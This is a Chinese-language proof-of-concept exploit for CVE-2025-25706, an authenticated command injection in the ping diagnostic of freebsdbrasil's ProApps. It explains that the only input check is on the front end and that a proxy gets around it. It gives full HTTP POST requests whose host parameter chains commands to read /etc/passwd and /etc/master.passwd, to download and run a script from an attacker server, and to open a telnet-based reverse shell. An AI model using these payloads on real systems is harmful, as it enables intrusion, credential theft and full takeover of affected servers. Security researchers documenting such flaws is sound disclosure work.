
CVE-2025-25706 的详细概念验证,演示通过 ProApps ping 功能中的命令注入实现认证远程代码执行,包含反向 Shell Payload 和利用步骤。
产品厂商:freebsdbrasil
项目:ProApps - 企业应用
编辑器创建者:DreamWeaver
PHP:PHP 版本 7.3.18
JavaScript 库:Jquery UI 1.6 | Jquery 1.2.6
服务器:NGINX
操作系统:FreeBDS Unix
远程代码执行
该漏洞的产生是因为用户可以通过应用程序的 ping 功能,在 Unix 环境中使用命令序列运算符(如 ;、&& 或 |)来注入系统命令。 利用该漏洞需要先进行身份认证。用户必须属于名为 'Status' 的权限组,并拥有 'Modified' 权限。 还需要特别指出的是,成功利用此漏洞需要绕过输入消毒处理。应用程序仅在前端验证用户输入,因此需要通过例如网络代理来发送请求。这样即可绕过应用程序施加的限制。
身份认证后,需要访问一个名为 sta_rede.diagnostico_ping 的页面(http(s)://vulnerablepage.index.php?page=sta_rede.diagnostico_ping&task=view)。
该页面提供了向任意主机发送 ICMP 请求的功能。关于 ping 工具和 ICMP 协议(请求与回复)的更多信息,请参阅参考文献中的 RFC。
应用程序会发送一个 POST 请求,参数包括 host、testar_pacote 和 ttl,其中 host 是 ping 的目标,testar_pacote 指定发送 ICMP 请求的次数,TTL 是数据包的生存时间。发送请求后,应用程序会在 Unix 系统上执行以下命令:ping -c $testar_pacote $host。以下是展示此功能的 POST 请求:
POST /include/sta/rede.diagnostico_ping.ajax.php HTTP/1.1
Host: vulnerablewebsite.com
Cookie: PHPSESSID=6457d273b50b3bbaea19cbb4500d6577
Content-Length: 66
Authorization: XXXXXXX
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Chromium";v="131", "Not_A Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded
Origin: https://vulnerablewebsite.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://vulnerablewebsite.com/index.php?page=sta_rede.diagnostico_ping&task=view
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive
page=sta_rede.diagnostico_ping&host=8.8.8.8&testar_pacote=1&ttl=64
这里可以发现一个攻击向量。用户可以通过网络代理发送恶意 POST 请求,绕过输入消毒处理,在 host 参数后附加命令序列运算符(;、&& 或 |),Web 应用程序将先执行上述 ping 命令,紧接着再执行附加的命令。例如,这可能包括读取敏感文件如 /etc/passwd、/etc/master.passwd,或者获取反向 shell,执行任意命令。
下面是一个构造的恶意 POST 请求示例:
POST /include/sta/rede.diagnostico_ping.ajax.php HTTP/1.1
Host: vulnerablewebsite.com
Cookie: PHPSESSID=6457d273b50b3bbaea19cbb4500d6577
Content-Length: 66
Authorization: XXXXXXX
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Chromium";v="131", "Not_A Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded
Origin: https://vulnerablewebsite.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://vulnerablewebsite.com/index.php?page=sta_rede.diagnostico_ping&task=view
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive
page=sta_rede.diagnostico_ping&host=8.8.8.8; cat /etc/passwd;cat /etc/master.passwd&testar_pacote=1&ttl=64
向 sta_rede.diagnostico_ping 发送 HTTP POST 请求:
page=sta_rede.diagnostico_ping&host=x.x.x.x;curl -O http://attackserver/maliciousfile.sh; chmod +x maliciousfile.sh; ./maliciousfile.sh&testar_pacote=1&ttl=64
TF=$(mktemp -u);mkfifo $TF && telnet $attacker.ip $attacker.port 0<$TF | sh 1>$TF
通过使用 Netcat 监听指定端口,即可成功打开一个反向 shell。
RCE(远程代码执行)漏洞允许攻击者在远程设备上执行任意代码,可能导致系统完全被攻陷、数据泄露、横向移动、恶意软件部署以及声誉和财务损失。